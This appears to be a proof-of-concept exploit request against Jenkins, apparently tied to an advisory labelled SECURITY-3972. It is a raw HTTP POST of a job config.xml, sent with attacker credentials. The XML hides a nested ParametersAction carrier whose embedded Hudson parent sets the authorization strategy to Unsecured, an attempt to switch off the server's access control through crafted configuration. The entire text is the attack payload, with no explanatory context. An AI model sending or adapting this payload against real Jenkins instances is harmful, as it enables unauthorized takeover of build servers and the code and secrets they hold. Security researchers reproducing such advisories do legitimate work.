POST /job/carrier/config.xml HTTP/1.1
Authorization: Basic <redacted attacker credentials>
Content-Type: application/xml

<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions>
    <hudson.model.ParametersAction>
      <parameters/>
      <run class="hudson.model.FreeStyleBuild">
        <state>COMPLETED</state>
        <number>1</number>
        <project class="hudson.model.FreeStyleProject">
          <actions/>
          <properties/>
          <triggers/>
          <builders/>
          <publishers/>
          <buildWrappers/>
          <name>nested-parameters</name>
          <scm class="hudson.scm.NullSCM"/>
          <parent class="hudson.model.Hudson">
            <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
          </parent>
        </project>
      </run>
    </hudson.model.ParametersAction>
  </actions>
  <description>SECURITY-3972 alternate ParametersAction carrier</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders/>
  <publishers/>
  <buildWrappers/>
</project>